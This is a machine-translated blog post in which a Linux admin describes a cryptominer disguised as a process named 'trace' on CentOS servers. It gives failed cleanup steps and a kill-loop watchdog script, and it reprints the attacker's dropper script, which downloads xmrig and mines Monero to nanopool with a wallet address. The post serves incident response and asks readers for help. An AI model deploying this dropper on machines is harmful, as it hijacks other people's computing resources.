Respecto a Linux que sufre de un virus minero, disfrazado de rastro

Hace unos días, dos centos7 en línea encontraron un virus de minería. Todos los días la CPU está llena. El nombre del proceso es: trace. El nombre real del archivo es: xmrig.

Eche un vistazo al flujo de procesamiento:

Eche un vistazo al número de proceso. Luego, ls -l / proc / process number / exe, mire la ruta del programa de inicio y descubra que hay programas y scripts de inicio en home en / home

Luego cancele la autoridad de ejecución del programa y el script y déjelo.

Como resultado, corrió al día siguiente. Después de eso, eliminé los archivos, cambié la contraseña de root y el puerto remoto ssh, eliminé todas las claves y no encontré las tareas programadas en crontab y at. Find ha buscado todos los nombres relacionados y los ha verificado uno por uno, no hay problema.

Luego comenzó a funcionar automáticamente al tercer día.Se supone que puede haber un problema con el ranchero y el estibador. No hay forma de limpiar el servidor en el entorno de producción, por lo que solo puedo dejarlo de lado y escribir un script para monitoreo en tiempo real Este problema no ha ocurrido. Sin embargo, Alibaba Cloud todavía informa la comunicación del grupo de la mina todos los días.

Pongo el script de monitoreo y el script del programa de minería a continuación, todos los amigos pueden verlo. Si hay una buena solución, comente a continuación, gracias.

vim jkxmrig.sh   (监控挖矿程序的脚本)
#!/bin/bash
while true 
do
trace=`ps -ef | grep trace | grep -v grep | awk '{print $2}'`
if [ -z "$trace" ];
then
  echo "[ not find trace pid ]"
else
 echo "find result: $trace "
 kill -9 $trace
fi
done

chmod +x jkxmrig.sh
~      
nohup ./jkxmrig.sh > /dev/null 2>&1 &
(此为挖矿程序的运行脚本)
#!/bin/bash

if pgrep trace; then pkill trace; fi

threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
echo "${hostHash} - ${threadCount}";

rm -rf config.json;

d () {
	curl -L --insecure --connect-timeout 30 --max-time 800 --fail "$1" -o "$2" 2> /dev/null || wget --no-check-certificate --timeout 800 --tries 1 "$1" -O "$2" 2> /dev/null || _curl "$1" > "$2";
}

test ! -s trace && \
    d https://github.com\xmrig/xmrig/releases/download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz trace.tgz && \
    tar -zxvf trace.tgz && \
    mv xmrig-5.0.0/xmrig trace && \
    rm -rf xmrig-5.0.0 && \
    rm -rf trace.tgz;
test ! -x trace && chmod -x trace;

k() {
    ./trace \
        -r 2 \
        -R 2 \
        --keepalive \
        --no-color \
        --donate-level 1 \
        --max-cpu-usage 85 \
        --cpu-priority 3 \
        --print-time 25 \
        --threads "${threadCount:-4}" \
        --url "$1" \
        --user 46sfbbM3XSjBo54d5a8PYUU5yQ31x6Rpv6tBhe22Cd7VYeJUyFUhzBF5rTf1oTB1d8MqgHxX5RbbEEKZd8fBAAmcFfv9Y5c \
        --pass x \
        --coin xmr \
        --keepalive
}

k xmr-asia1.nanopool.org:14444 || k xmr-eu2.nanopool.org:14444 || k xmr-us-east1.nanopool.org:14444 || k xmr-us-west1.nanopool.org:14444 || k xmr-asia1.nanopool.org:14444 || k xmr-jp1.nanopool.org:14444

 

Supongo que te gusta

Origin blog.csdn.net/qq_30217227/article/details/103829718
Recomendado
Clasificación